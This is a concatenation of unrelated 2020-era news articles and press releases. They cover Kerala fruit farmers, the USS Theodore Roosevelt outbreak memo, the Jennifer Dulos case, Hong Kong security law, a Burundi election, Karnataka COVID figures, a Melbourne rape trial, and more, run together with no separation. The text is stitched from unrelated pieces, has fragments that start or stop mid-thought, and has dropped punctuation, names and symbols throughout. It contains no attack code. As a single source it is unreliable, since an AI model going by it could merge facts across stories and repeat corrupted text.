The climate here is apt for the cultivation of these seasonal fruits. Plums are harvested from May-end to June-end, said Abbas. He said Kanthalloor produces around 25 to 50 tonne of fruit. And they have to be harvested within 21 to 25 days, he added. According to C T Kuruvilla, who has a 200-acre farm and over 150 plum trees, past three years have been bad. I have a lot of different types of fruit trees and I am finding it hard to get buyers. It is disheartening to see that agriculture department and the Horticorp have no idea about how to go about helping us, he said.

Unable to find customers for strawberry, some farmers have turned to making extract which has a better shelf life. Its been a tough year so far. I cultivate on leased land. But this season, tonnes of strawberries got spoilt for lack of buyers. I still have more than a tonne of strawberries, over 500kg of cabbages and a tonne of tomatoes in the field unharvested, said Shelju Subramaniam. The farmers are looking to the state government to help them claw out of deep trough. Establishing food processing factories with facilities like dryers and deep freezers to transport the fruits from the farms to the markets will help us a lot, said Abbas. Fixing a reasonable procurement price is essential. The current price of `50 per kg is not beneficial for plum farmers, he added.
The aircraft carrier USS Theodore Roosevelt (CVN 71), front, the Arleigh Burke-class guided-missile destroyer USS Russell (DDG 59), center, and the Ticonderoga-class guided-missile cruiser USS Bunker Hill (CG 52) transit in formation.

U.S. Navy photo by Mass Communication Specialist 2nd Class Anthony J. Rivera

Four doctors aboard the USS Theodore Roosevelt warned in a March 30 memo that dozens of sailors could die if the ship was not immediately evacuated, The Wall Street Journal reported.

The memo was sent the same day Capt. Brett Crozier, then the commanding officer of the aircraft carrier, sent a letter warning of a worsening situation aboard the ship and calling on the Navy to take decisive action.

The USS Theodore Roosevelt set sail Wednesday after being stuck in port in Guam for nearly two months as the crew battled a coronavirus outbreak that ultimately saw numerous sailors contract the virus.

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Doctors on the aircraft carrier USS Theodore Roosevelt warned in a March memo that dozens of sailors would die of the coronavirus if the ship was not evacuated immediately, The Wall Street Journal reported Thursday.

The memo, which was reviewed by the WSJ, was sent to Navy medical officials the same day Capt. Brett Crozier wrote the letter that later resulted in the loss of his command.

The ship's chief medical officer and three other doctors wrote to the Navy's surgeon general and other senior medical officials on March 30, stating that the "time has come for aggressive measures to be taken."

The Navy revealed on March 24 that coronavirus was spreading aboard the USS Theodore Roosevelt. What began as only a few cases quickly grew into a serious problem, and the aircraft carrier was forced into port in Guam. Carrier sailors work, eat and sleep in close quarters making adequate social distancing nearly impossible with the full crew on board  but it was also not a routine or easy task to quickly move sailors off-ship to rooms where they can quarantine.

The carrier's doctors reportedly explained in their memo that "the only solution to save the lives of sailors is to immediately get everyone off the ship into appropriate isolation or quarantine," stressing that "there is no other option."

Story continues

The ship's medical professionals believed that failure to evacuate the ship would result in roughly 1% of 4,800 crew and embarked sailors  an estimated 48 people  would die dying as a result of COVID-19, the disease caused by the coronavirus. "We will not stand by while our fellow sailors continue to be exposed to this fatal virus," they wrote.

The New York Times reported in April that doctors estimated that more than 50 sailors might die. The memo's details were previously unreported.

Rear Adm. Bruce Gillingham, the Navy surgeon general, reportedly responded to the letter, telling the doctors that the Navy was taking steps to address the situation.

Capt. Brett Crozier, commanding officer of the aircraft carrier USS Theodore Roosevelt, addresses the crew during an all-hands call on the ships flight deck, November 14, 2019.

US Navy/MCS 3rd Class Nicholas Huynh

The one-page memo written by the ship's medical staff was sent the same day Crozier, then the carrier's commanding officer, sent an email with a four-page memo attached to several high-ranking Navy leaders, as well as some other Navy officials.

He wrote that "the spread of the disease is ongoing and accelerating" and urged the Navy to get most of the ship's sailors ashore as soon as possible, adding that "sailors do not need to die."

The Navy had begun to move sailors off the ship in late March, but not as quickly as Crozier apparently felt was needed to stop the virus' spread.

Crozier was relieved of his command on April 2 after the letter leaked to the press. Then-acting Secretary of the Navy Thomas Modly, who fired Crozier, would resign less than a week later after berating the officer to his former crew.

In the days and weeks that followed, the number of cases aboard the carrier continued to climb. The Navy was ultimately forced to move more than 4,000 sailors ashore as the number of cases rose to nearly 1,200.

The carrier saw one death, 41-year-old Chief Petty Officer Charles Robert Thacker, who succumbed to the virus following placement in the ICU after being found unresponsive in isolation.

The Navy is conducting an investigation into the coronavirus outbreak aboard the USS Theodore Roosevelt, the actions of the ship's former captain, and other related issues.

The carrier, after sitting in port for nearly two months, finally set sail Wednesday with a few thousand sailors, leaving some behind on Guam to be picked up at a later date.

Read the original article on Business Insider
In her first public comments since being arrested nearly a year ago, Michelle Troconis said it was a mistake to have trusted Fotis Dulos, but she does not know where Jennifer Dulos is or what happened to her.

Troconis lawyer, Jon Schoenhorn, on Thursday released an audio statement recorded by his client in Spanish accompanied by an English translation.

Troconis has been charged with conspiracy to commit murder, tampering with evidence and hindering prosecution in connection with the May 24, 2019 disappearance of Jennifer Dulos.

Her former boyfriend, Fotis Dulos, 52, died in January from an apparent suicide while facing murder, kidnapping and other charges in connection with the death and disappearance of his estranged wife.

To those who are quick to judge people they do not know, let me say this: it is possible to misjudge others. Whether or not Fotis Dulos was capable of doing the things the police and prosecutors accused him of doing, I do not know, she said. But based on what I have learned in the last year, I think it was a mistake to have trusted him.

Chief States Attorney Richard Colangelo, who is handling the prosecution of the case, declined to comment on the statement. Messages left with Schoenhorn have not been returned this week.

Troconis statement referenced the anniversary on Sunday of Jennifer Dulos disappearance, and noted that in the past year, people have said many things about me  some kind; some cruel.

She said she was advised by lawyers to not say anything about the case, which was very frustrating for me because there is a lot I would wish to say.

It has been nearly a year since I first heard about the disappearance of Jennifer Dulos, Troconis said. As a mother, I am saddened for the loss that these five children have suffered, being left without both parents in such a short period of time.

But despite the way I have been treated by the police, I know nothing about Jennifer Dulos whereabouts or what may have happened to her, Troconis said. I know that under American law, I dont have to prove my innocence, but actually to me it feels that way, during all this time while under public scrutiny.

During her only court appearance in February since hiring Schoenhorn, Troconis wore headphones so the proceedings could be translated into Spanish. Troconis was born in the U.S., but grew up in Argentina and Schoenhorn said English is not her first language.

Schoenhorn, who replaced Westport defense attorney Andrew Bowman on the case, has claimed a language barrier could have been an issue when his client gave contradicting statements to police during their investigation.

In a note left in his car on the day of his suicide attempt, Fotis Dulos proclaimed he was innocent of the charges and that Troconis and his former attorney, Kent Mawhinney, who is also charged with conspiracy to commit murder, were not involved in the crime.

Troconis is scheduled to appear in court Aug. 6 after several postponements due to court closures related to the COVID-19 pandemic. Schoenhorn has complained that the courthouse closure has further delayed discovery evidence being turned over to him.

According to arrest warrants, police believe Fotis Dulos attacked his estranged wife in the garage of her New Canaan home when she returned from dropping off their children at a nearby school around 8 a.m. on May 24, 2019.

Police said they found signs Jennifer Dulos was the victim of a serious physical assault based on blood evidence they found in the garage, arrest warrants state.

Around the time the New Canaan mother was reported missing, surveillance footage captured Fotis Dulos and Troconis in Hartford, according to arrest warrants. Police say the video shows Fotis Dulos dumping bags and an expired license plate that was registered to him. The bags contained Jennifer Dulos blood and her clothing, according to arrest warrants.

When police searched the Farmington home Fotis Dulos shared with Troconis, they found what they have described as alibi scripts, according to arrest warrants. The former couple wrote notes about what they were doing at specific times the day Jennifer Dulos disappeared in an effort to help them remember their activities, according to the warrant.

But police said the notes included inaccurate information and mentioned witnesses who were later determined to be false, the warrant states.

According to the warrant, police interviewed Troconis on June 2  one day after she and Fotis Dulos were first arrested  and provided substantial amount of information which was self-contradictory and did not bear up under the scrutiny of the investigation.

For example, Troconis could not account for Fotis Dulos whereabouts until around lunchtime on the day his wife disappeared, the warrant said. Fotis Dulos lawyer had previously contended Troconis could alibi his client.
Ultimately, however, the meaning of this project is civic as well as personal. Its rebirth strikes a chord on many levels: architectural, historical, medical, and cultural. Chicagos great buildings, it reminds us, are found in the neighborhoods, not just in its downtown. And this is a great one  for the beauty of its design, the humane values it communicates and the stirring stories it still tells.
By Greg Torode and James Pomfret HONG KONG (Reuters) - Beijing is moving to impose new national security legislation on Hong Kong, it announced on Thursday, following last year's often violent anti-China unrest that plunged the city into its deepest turmoil since it returned to Beijing rule in 1997. The legislation, which will be deliberated by China's annual session of parliament which begins on Friday, comes after the city's failure to implement legislation on its own as stipulated in the city's mini-constitution under the terms of its handover from British to Chinese rule. WHAT DOES CHINA WANT?

By Greg Torode and James Pomfret

HONG KONG (Reuters) - Beijing is moving to impose new national security legislation on Hong Kong, it announced on Thursday, following last year's often violent anti-China unrest that plunged the city into its deepest turmoil since it returned to Beijing rule in 1997.

The legislation, which will be deliberated by China's annual session of parliament which begins on Friday, comes after the city's failure to implement legislation on its own as stipulated in the city's mini-constitution under the terms of its handover from British to Chinese rule.

WHAT DOES CHINA WANT?

For several years now, Chinese officials have increasingly expressed frustration and anger at what they perceive as a weak national security regime in Hong Kong, the freewheeling financial hub which has a high degree of autonomy.

The large and sometimes violent anti-government protests that erupted last year have sharpened that frustration, with China's Communist Party leadership determined to thwart what they describe as threats of terrorism, independence, subversion and sedition.

China's most senior official in Hong Kong, Luo Huining, warned in April that the city must urgently introduce national security legislation.

"If the ant-hill eroding the rule of law is not cleared, the dam of national security will be destroyed and the wellbeing of all Hong Kong residents will be damaged," he said.

WHY IS THIS HAPPENING NOW?

The issue sits at the heart of the delicate "one country, two systems" formula under which China agreed to protect Hong Kong's extensive freedoms, autonomy and its independent legal system.

Those freedoms are protected by the Basic Law, a mini-constitution that guides the relationship between Hong Kong and Beijing.

But Article 23 of the document also states that Hong Kong must "on its own" enact laws against treason, secession, sedition, subversion and the theft of state secrets. It also seeks to outlaw ties between local and foreign political groups.

The Hong Kong government proposed local legislation in 2003 but met vast opposition before it could be passed into law, with more than 500,000 people marching peacefully against it.

Local officials acknowledge their obligations but some, including leader Carrie Lam, have said recently that the time is still not right.

However the Basic Law also gives Beijing the power to annex national laws into the document - which the local government must then legislate for or effectively impose on the city by executive fiat.

Local lawyers and politicians sometimes call this the "nuclear option", but some scholars have questioned whether this power of promulgation applies to Article 23.

"This is a big, unanswered question," said University of Hong Kong law school professor Simon Young.

DO ANY SUCH LAWS ALREADY EXIST?

Yes. Britain left behind a raft of old laws covering most of the elements of Article 23, aside from subversion and secession - the act of formally withdrawing from a state.

Most are decades old and lawyers say they would be hard to deploy given more recent protections on freedoms of speech, assembly and association written into the city's Bill of Rights and the Basic Law itself.

IS IT CONTROVERSIAL?

Highly. Given Hong Kong's protest movements and polarised politics, a fresh push even to create local legislation would be tough.

Many fear that new national security legislation would prove a "dead hand" on the city's large and pugnacious press and rich artistic traditions, while curbing its broad political debates.

Any step by Beijing to impose its own version via promulgation risks panic and chaos, many observers believe - potentially sparking some people and capital to flee and denting Hong Kong's international stature as a financial hub.

U.S. Secretary of State Mike Pompeo said in late April "any effort to impose draconian national security legislation on Hong Kong would be inconsistent with Beijing's promises, and would impact American interests there".

(Editing by Nick Macfie)

This story has not been edited by Firstpost staff and is generated by auto-feed.
Amazon has been accused of peddling 'patently false' information to boost its case for investing in Deliveroo.

The internet shopping groups's bid to take a minority stake in the food delivery firm has been provisionally cleared by the Competition and Markets Authority, which fears the British firm will otherwise go bust because of a hit to its revenues from the coronavirus crisis.

But Cat Rock Capital, a top investor in rival Just Eat Takeaway.com, yesterday poured scorn on that suggestion and said the pandemic was having the 'exact opposite' effect on sales of takeaways.

False information? Amazon's bid to take a minority stake in Deliveroo has been provisionally cleared by the Competition and Markets Authority

A source close to Deliveroo said it was considering taking legal action against the investment firm.

But Alex Captain, Cat Rock's founder and managing partner, said: 'Amazon and Deliveroo have told the CMA that it needs to approve their deal because Covid-19 has caused a 'significant decline' in Deliveroo's revenue.

'Now it is clear that Covid-19 is actually increasing revenue for online food delivery companies all over the world, exactly the opposite of what Amazon and Deliveroo have claimed.'

He added that 'Amazon's dominance of e-commerce and local delivery has never been greater'.

He warned: 'UK consumers will lose if Amazon and Deliveroo do not independently compete.'

A Deliveroo spokesman said Cat Rock's 'panicked attempt to desperately lobby the CMA is not surprising'.
MIDLAND, MI  Members of the Michigan National Guard are assisting area emergency personnel with flood response in and around Midland County this week while simultaneously assisting with COVID-19-related missions throughout the state.

Michigan National Guard Capt. Andrew Layton, deputy state public affairs officer, said about 200 Michigan National Guard members responded to what experts have called a 500-year flood event in mid-Michigan this week. At the same time, the guard has about 1,000 members responding to COVID-19 related missions throughout the state, including helping with testing and food bank efforts.

Members are being dispatched throughout the region as needed. Many of the guard members activated are involved with emergency planning and logistics support to the area, as well, he said.

Early Wednesday morning, May 20, about 130 members were dispatched to Midland where they assisted area first responders with evacuating people from their homes, Layton said, and more members arrived throughout the day. On Thursday, May 21, members conducted door-to-door welfare checks and helped evacuate books from the main floor of Midlands Grace A. Dow Memorial Library. The library was damaged by flooding.

Layton said many of the members who responded to mid-Michigan this week are residents of the area. They are Michiganders helping Michiganders, he said.

The Michigan National Guard is a support agency and we work with the state police and other first responders. Our mission and our role is to respond as requested, Layton said.

Selina Tisdale, community affairs director for the city of Midland, said on Thursday Midland received help from the Michigan Army National Guard 1-1225 Infantry and 119 Field Artillery Units. Approximately 50 members were in Midland County assisting with transportation, delivering shelter materials, deep water access, wellness checks and saving library books, she said.

Wed also like to recognize the Michigan Task Force One that deployed 20 members to Midland County, Tisdale said. They are a state asset  a FEMA approved deployment team that provides response assistance to emergencies. They showed up with five boats and assisted with water rescue.

When asked how long the guard will remain in Midland County, Layton replied, That goes back to the coordination on the ground with the other community agencies and I think, again, well evaluate the need and however long its required, theyll be there.

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If there were ever a tempting time to retreat to the optimism of the 1960s, its today. People cooped up in their home may be yearning to re-enter an era in which a new style of indoor-outdoor living was popularized.

There is also greater interest today in being able to spread out.

A midcentury house designed by the late, respected architect Saul Zaik on an 0.93-acre lot in Southwest Portland succeeds with both wishes.

Natural light fills the vaulted living room and filters through walls of glass in the dining room and the sliding door in the kitchen. There are three bedrooms, two bathrooms and 3,040 square feet of living space. The south-facing lot includes patios, a pool area and mature landscaping.

The property at 2337 S.W. Scholls Ferry Road went on the market Friday, May 22

The asking price: $925,000.

Saul Zaik expertly saw the possibilities on this estate property and took full advantage when he sited the home, says listing agent Marilyn Brown of Where, Inc. Rarely do we find this type of estate property so close to downtown.

Brown adds that the house, built in 1965, is ready for an update to modern living.

This 2013 portrait of Saul Zaik was taken in the home he designed for his family.Ross William Hamilton/The Oregonian

Zaik is famous for designing the 1970 Zidell House in Portlands Southwest Hills. The octagonal dwelling that sits on a 48-foot-tall ships mast was commissioned by shipyard magnate Arnold Zidell.

But the innovative architect and preservation supporter, who died in January at age 93, left a legacy of handsome houses that exhibit all the appealing traits of Northwest modernism with a strong connection to the outdoors.

Zaiks easily identifiable, site-oriented work can also be seen in resorts, condominiums in Salishan and other scenic places, as well as residences, like the 1956 Feldman House for the heir to the Mt. Hood Borax Co.

One of his midcentury modern houses has been selected for Restore Oregons 10th annual Mid-Century Modern Design Series, which is a virtual tour and presentations of architecturally significant, Portland area residences, including John Yeons monumental 1937 Watzek House and Pietro Belluschis revolutionary 1938 Sutor House.

The fundraising event for the nonprofit preservation organization can be enjoyed online anytime now through July 26 at Restoreoregon.org.

 Janet Eastman | 503-294-4072

jeastman@oregonian.com | @janeteastman

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories

Want to search Oregon real estate listings and use local resources? Click here.
Burundis ruling party appeared headed for victory Friday in general elections, as official results from over 60 percent of municipalities country put them far ahead of the opposition, which dismissed the figures as fantasy.

Burundians voted on Wednesday to elect their president, lawmakers and local officials in a poll marked by allegations of fraud and conducted with scant attention to the coronavirus pandemic.

The vote comes five years after the highly contested re-election of Pierre Nkurunziza for a third term, which sparked violence that left at least 1,200 dead, saw 400,000 flee the borders and plunged the country into turmoil that persists to this day.

After Nkurunzizas surprise decision not to run this time, his handpicked heir Evariste Ndayishimiye is the frontrunner, with results published on state media handing him around 80 percent of the vote.

His rival, Agathon Rwasa, leader of the National Council for Liberty (CNL), was attributed around 20 percent of votes, while the remaining five candidates barely scored one percent combined.

Rwasa has already rejected the results streaming in, and his party accused authorities of arresting their agents, and preventing them from observing the vote and taking part in counting.

Absolutely I reject these results. These results being declared are a fantasy. They do not reflect reality, said Rwasa said as the first results came in late Thursday.

We have won  whether in the presidential, legislative or local elections. We have the results to prove it.

In one case, the ruling party captured three-quarters of votes in the opposition stronghold of Kabezi, one of Burundis 119 municipalities. The CNL attracted just under one quarter.

CNL spokesman Therence Manirambona on Friday denounced a carefully prepared hold-up, repeating accusations that there had been proxy voting, instances of people voting multiple times, and opposition agents chased out of polling station and the counting process.

Rwasa drew large crowds during the campaign, and observers said he was riding on a wave of despair in the country.

As a fellow former Hutu rebel during the countrys 1993-2006 civil war with the minority Tutsi-dominated army, he was seen as having as much legitimacy to lead as Ndayishimiye.

The election commission and ruling party have yet to react to the opposition accusations.

However the ruling CNDD-FDDs news website Intumwa announced in the middle of the day that following the election, its supporters will spend three days before God for a prayer of thanks from May 28 to May 30.

On election day, Pierre Nkurikiye, the spokesman for Burundis public security ministry, accused members of the CNL of attempted fraud, confirming some of their members were arrested for minor incidents.

The campaign was marked by violence and arbitrary arrests  the kind that has persisted in the shadows since the 2015 poll.

Since that election Burundi has been increasingly isolated on the world stage and cut off by donors, with state security forces accused by rights groups and the United Nations of crimes against humanity and severe rights abuses such as torture, disappearances, sexual violence and executions.

str-fb/ri

.
Bengaluru, May 22 : Karnataka registered 105 COVID cases in the past 19 hours, raising the states tally to 1,710, an official said on Friday.

"New cases reported from Thursday 5 p.m. to Friday noon are 105," said a health official.

Among the new cases 1,080 were active, 588 discharges and 41 deaths.

On Friday, 17 patients got discharged, two in Bagalkote, one each in Belagavi and Dakshina Kannada, three in Kalaburagi, four in Vijayapura and six in Bengaluru Urban.

Meanwhile, cases spiked in Tumkur, Chikkaballapura and Hassan.

Among the new cases, Chikkaballapura contributed 45, followed by Hassan (14), Tumkur (8), Bidar (6), Bengaluru Urban and Chikkamagaluru (5 each), Bengaluru Rural (4), Mandya, Haveri and Davangere (3 each), Dharwad (2) and Bagalkote, Belagavi, Vijayapura, Uttara Kannada, Dakshina Kannada and Chitradurga (1 each).

Majority of the cases had inter-state travel to Maharashtra, India's COVID hotspot.

Nowadays, most people in the state are contracting coronavirus through inter-state travel, majority from Maharashtra.

Bengaluru Urban has so far seen nine deaths, followed by Kalaburagi (7), Dakshina Kannada (5) and Davangere and Vijayapura (4 each), and remaining from other districts.

Of 1,462 cases till Thursday, 10 per cent were senior citizens, 63 per cent men and 37 per cent women. The state's patient discharge rate is 36 per cent.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
(JTA)At the beginning of the COVID-19 outbreak, and as recently as a couple weeks ago, some Jewish camps had hoped they could run for part of the summer.

For a growing number of camps, that hope now appears to be vanishing.

Two Conservative Ramah camps look increasingly likely to cancel their sessions this year. And two state governmentsGeorgia and Connecticuthave, for now, prohibited overnight camps from running in their states. Each of the states is home to several Jewish camps.

While neither of the Ramah campsin Wisconsin and Californiais ready to officially confirm that i...
An Indian chef who raped a sex worker in a brothel refused to leave the room because 'he'd paid for an hour's service', a court has heard.

Ranvir Singh, 26, faced a plea hearing at Melbourne's County Court plea on Thursday after a jury found him guilty of two charges of rape on December 11.

During the trial, the jury heard Singh visited Collingwood brothel Le Boudoir with friends in early 2018 and seemed intoxicated when he first met his victim.

He locked the door and turned off the light in the room which made the victim 'uncomfortable', the court heard.

Ranvir Singh (pictured), 26, was found guilty by a jury of two counts of rape over the attack on a brothel worker in early 2018

Singh, in Melbourne on a student visa, was rough and extremely aggressive immediately, and only became rougher as the victim tried to resist.

He raped her twice, then told her to get back in the bed because the 'booking wasn't over'.

The victim managed to escape from the room and asked for help to have Singh removed, but she was told to wait until his friend had finished his session.

The woman went back and told him to leave, but Singh argued he had 'paid for an hour' then prevented her from leaving the room.

Although the victim reported the incident the following day, Singh was not charged until almost a year later.

He will be sentenced for the offences at a later date.

Signh appeared via videolink from Ravenhall prison for Thursday's hearing, where the victim said she now endured 'indescribable pain and suffering'.

'It feels as though I am the one being punished, being judged and excluded from society, silenced into submission,' she said, the Herald Sun reports.

The jury heard the sickening attack happening while Singh was visiting Collingwood brothel Le Boudoir (pictured) on a night out with friends

'It may destroy me to speak these words, but hear me now and know that whatever discomfort you may feel will never come close to resembling the cruelty I have experienced first hand.

'Do not shy away from the disturbing truth, as I was granted no such mercy.'

Singh's lawyer submitted that his offending was in the lower range, as there was an absence of violence and humiliation.

The court heard Singh was teased at school before moving to Australia to study computers, but he dropped out of that course to study cookery.

He was working as a chef at the time of the rapes.

The prosecutor argued the offending was not fleeting, and Singh became increasingly aware of the suffering the victim was experiencing.

Singh still denies the two rapes.

Judge George Georgiou said it was problematic that Singh continues to deny the offending.
Global e-retail revenues are projected to reach USD 6.5 trillion by 2022.

Some speculate that these numbers could go higher as the ongoing health crisis has increased the demand for online shopping, introducing new customers to eCommerce and possibly creating a lasting habit.

ECommerceCompanies.com, a B2B marketplace connecting brands with eCommerce experts, has identified the top strategies and companies brands should employ to generate more leads and increase online revenue.

The top eCommerce lead generation strategies include:



1. SEO

eCommerce pages optimized for Google and other engines rank higher in search, reaching users with a transactional, i.e. a purchase intent.



2. Remarketing

Remarketing campaigns are highly effective at increasing brand retention, driving qualified leads back to the site and increasing conversions.



3. Social media campaigns

Whether organic or paid, social media campaigns that offer clear value to targeted audiences have shown success in bringing qualified traffic to eCommerce websites. The most successful social media campaigns include contests, giveaways, quizzes and influencer partnerships.



4. Search ads with site link and ratings extensions

Besides ranking in search organically, search ads help brands increase visibility among users with high transactional intent. Running search ads with site link and ratings extensions increase site credibility and maximize ad clicks.



5. Partnerships and Affiliates

Partnering with complementary businesses, influencers and affiliates helps brands tap into similar audiences and grow their lead base.

The top eCommerce consulting companies are:

1. First Pier  firstpier.com

First Pier specializes in total commerce solutions, from eCommerce web development, digital growth strategies, point of sale setup, to eCommerce branding. The company is Maine's only certified Shopify Expert, experienced with Shopify, Shopify Plus and Shopify POS.

2. Ziggle Tech Inc.  ziggletech.com

Ziggle Tech Inc. is a global organization that specializes in eCommerce design & development, redesigning, rebranding and re-platforming, digital transformation consulting and more. They partner with mid-level and large enterprises and they work with Shopify/Shopify+, Magento, Spree Commerce and WordPress.

3. m7 - millermedia7.com

Millermedia7 (m7) is a UX, digital innovation company that has experience in working with clients like Salesforce, Lockheed, Mars brand and other top tier global brands. Some of their services are IoT, AI, website and mobile app development.

4. Ahy Consulting - ahyconsulting.com

Ahy Consulting crafts extremely functional and usable applications and eCommerce products. They work with various technologies including Magento, Shopify and WordPress. Their mission is to help brands grow their businesses online with designs driven by instincts.

5. Operation ROI  operationroi.com

OperationROI helps eCommerce businesses reach more new customers on Amazon, Google, Walmart, Facebook, eBay and more. Their eCommerce experts understand how to increase traffic, sales, and profitability by optimizing product listings, improving paid search strategies and focusing on brand growth.

___

About eCommerceCompanies.com: eCommerceCompanies.com analyzes the best eCommerce developers from around the world to determine the leading design and development firms in this industry across all specialties and locations. The platform's comprehensive ranking process  performed by industry experts  helps brands find and select the best eCommerce development agency that suits their needs.
'Page in history turned' on '1992 consensus' issue: MAC minister

ROC Central News Agency

05/21/2020 05:34 PM

Taipei, May 21 (CNA) "A page in history has already been turned" on the issue of the so-called "1992 consensus" in relation to cross- Taiwan Strait affairs, Mainland Affairs Council (MAC) Minister Chen Ming-tong () said Thursday.

Chen, who made the remark on the sidelines of a legislative session, was commenting on China's response to President Tsai Ing-wen's () second-term inauguration address the previous day.

In her address, Tsai reiterated her rejection of Beijing's use of "one country, two systems," saying it is designed to downgrade Taiwan and undermine the cross-strait status quo.

Ma Xiaoguang (), spokesman for Beijing's Taiwan Affairs Office, said in response that China's goal of "peaceful reunification" with Taiwan under the "one country, two systems" framework remains unchanged.

In Taiwan, however, the Democratic Progressive Party (DPP) government has refused to recognize the "1992 consensus," which has undermined cross-strait relations, Ma said on Wednesday.

The "1992 consensus" was a tacit understanding reached in 1992 between Taiwan's then-Kuomintang (KMT) government and the Chinese government.

The consensus has been consistently interpreted by the KMT as both sides of the Taiwan Strait acknowledging there is only "one China," with each side free to interpret what "China" means.

However, Beijing has never publicly recognized the second part of the KMT's interpretation.

Commenting on Ma's statement, Chen said that "a page in history has already been turned," so there is therefore no need to discuss the "1992 consensus" issue further.

When reporters said to Chen that it appears that China has not yet turned the page, he replied that "we will wait for them to catch up."

Chen also said that the current focus of the world, including Taiwan and China, is how to recover from the COVID-19 coronavirus pandemic.

Recovery plans are only possible under a "peaceful and stable environment," an environment that is the responsibility of both sides of the strait to uphold, he said.

Chen was further questioned during the legislative session about Tsai's inauguration address, in which she seemed to imply that the Republic of China has only existed for 70 years rather than 109.

"My fellow citizens, over the past 70 years, the Republic of China (Taiwan) has grown more resilient and unified through countless challenges," Tsai said in her address.

Responding to KMT lawmaker Chen Yu-jen's () question as to whether the Republic of China has only existed for 70 years, the minister said that Tsai was referring to the fact that the ROC "came to Taiwan 70 years ago."

(By Lai Yen-hsi and Chiang Yi-ching)

Enditem/J

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A judge has dismissed a lawsuit against a Delaware law firm filed by a paralegal who claims he was targeted for retaliation after being injured while playing on the law firms softball team and filing a workers compensation claim.

The judge last week granted a motion by the Morris James law firm to dismiss the complaint filed by paralegal William Weller.

Superior Court Judge Jan Jurden said alleged acts of misconduct by the law firm did not constitute adverse employment actions against Weller, and that some claims involving conduct in 2015 were barred by the passage of time.

The decision was the latest in a long-running legal battle between Weller and the Wilmington-based law firm.

A different judge ruled in 2018 that Delawares Industrial Accident Board erred in concluding that Weller ruptured his Achilles tendon in 2015 during the course and scope of his work for Morris James.

Weller argued that Morris James employees were pressured into playing on the firms softball team. The judge said participation was voluntary and there was no evidence that playing softball was a job requirement. The judge also said the IAB erred in concluding that Morris James received a substantial, direct benefit from its softball team in the way of increased productivity.

The firm said softball games were intended to boost employee health, morale and camaraderie.

After Delawares Supreme Court upheld the ruling that Weller was not entitled to workers compensation benefits, he filed another lawsuit last year claiming that he was subjected to ridicule and retaliation by partners in the law firm after he took medical leave.

Weller said one partner notified other employees of his medical leave in an email stating, From now on no out of shape middle aged men are permitted to play softball. Another partner noted in connection with Wellers annual review that the amount of time he missed in 2015 for health-related reasons was an issue, the complaint alleged.

Jurden said that while the email and annual review comments may have been unpleasant or even unprofessional, they were not sufficient to dissuade a reasonable person from filing a workers compensation claim.

Weller also alleged that after Morris James successfully appealed a 2016 Industrial Accident Board decision in his favor, another law firm partner, Eric Monzo, used trickery and deceit in obtaining information about Wellers litigation strategy and offering to testify on his behalf at a new IAB hearing, then providing opposite testimony.

Despite Monzos testimony, the IAB ruled in favor of Weller again in 2017, but a Superior Court judge overturned that decision in 2018, saying the boards decision was legally incorrect and not supported by substantial evidence.

Jurden said Wellers claims against Monzo involved allegations of misconduct during litigation, not of actions that were adverse to Wellers employment.

While plaintiffs workers compensation claim might have suffered, his employment did not, she wrote.

While granting the law firms motion to dismiss, the judge chastised the conduct of both sides, saying intense personal emotions underlying the claims and defenses had infected the presentation by the lawyers in their briefs.

While it is understandable that the parties have strong personal interests, the court expects counsel to refrain from inflammatory language, which is distracting and also diminishes the effectiveness of the parties legal arguments, Jurden wrote.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Workers' Compensation
FOR IMMEDIATE RELEASE

After two months of rewriting nearly two dozen songs since ghostwriting clients disappeared like a ghost, ghostwriter Gini Graham Scott, who has published over 250 books, 50 with traditional publishers, just signed with an international music publisher to represent her songs which registered on BMI. The company, Missing Link Music, will be representing her new songs, which are featured on music videos and inspire listeners to feel better in difficult times, think about society today, and gain new ideas about love and loss. In addition, Missing Link will be representing over 100 older songs, a mixture of love, social commentary, and gospel songs, featured on the company's websites at ChangemakersMusic.com, Songworks.net, and ChangemakersProductions.com.

Scott's songs will soon be available to record companies and talent agents and managers, and Scott will be collaborating with a team of composers to create the music for other lyrics. A Bollywood style musical about a guy writing songs to persuade a woman who has spurned him to change her mind is in the works too, as a follow-up to a series of 10 feature films, documentaries, and TV series created by Changemakers Productions.

Scott has also turned these music videos into a series of illustrated books, which include photos from the videos. These include five print and audio books -- the Feel Good Song Book, The Feeling Better Song Book, Are We All Right?, Songs about Love and Society, and Songs about Love and Loss. The most popular songs which feature inspirational songs to feel better and fight the coronavirus, songs about society, and love songs, include these:

#1 - "Remember the Good Times" https://youtu.be/ASPwZDTKiQ4

#2 - "Fighting Against the Corona Virus" https://youtu.be/LMZtxgMBdEM

#3 - "Are We All Right?" https://youtu.be/worpkeAtlRw (Though the answer is no)

#4 - "It's the Fourth of July Throughout the Year" https://youtu.be/Mez8qzYEE34

#5 - "Guilty of Loving You" https://youtu.be/Gb3FzM7jHVM

Besides writing these feel good and find love songs, Gini Graham Scott is the CEO of Changemakers Publishing and Writing, which features books on self-help, memoirs, social issues, criminal justice, and history. She also helps clients with self-publishing and ghostwriting their books. She has published over 250 books, 50 with traditional publishers. Her website to help writers find publishers, agents, and film producers is at www.publishersagentsfilms.com.

For more information, to get PDFs of books, and to set up interviews, please contact:

Jana Collins

Jones & O'Malley

Toluca Lake, California

(818) 762-8353

jana@jonesomalley.com

Nancy Parker

Executive Assistant

Changemakers Publishing

Lafayette, California

(925) 385-0608

www.changemakerspublishingandwriting.com

changemakerspub@att.net




Trevor Belle

A taxi driver, Trevor Belle, has died from coronavirus after a passenger who claimed he had the virus spat on him when they were fighting over 9 (N4,263.55) fare.

The tragic incident happened in the UK.

According to Daily Mail , the 61-year-old driver died from the illness in April at the Royal London Hospital after battling the virus.

It should be noted that not more than 20 people were allowed at his funeral in order to follow strict social distancing rule.

He is doing better than me  Nigerian actor says after finding out ex-classmate who is a bus driver has 1 house and 3 taxis for business His wife, Kelly Esqulant, who was married to him for 28 years, said that she could not just understand why any person would be so wicked to another in such a manner.

The media also noted that the deceased up until his death was regarded as the driver with the cleanest car in his community and was always practising good hygiene. Belle, when reporting to a nearby police van, said that the attacker ran off after he spat on him.

He kept off work after the incident before he started showing Covid-19 symptoms four days later.

In explaining how generous her husband could be, Kelly said: I know my Trevor, and he would have said if you can use that to do something that could help millions in the future, then do it.
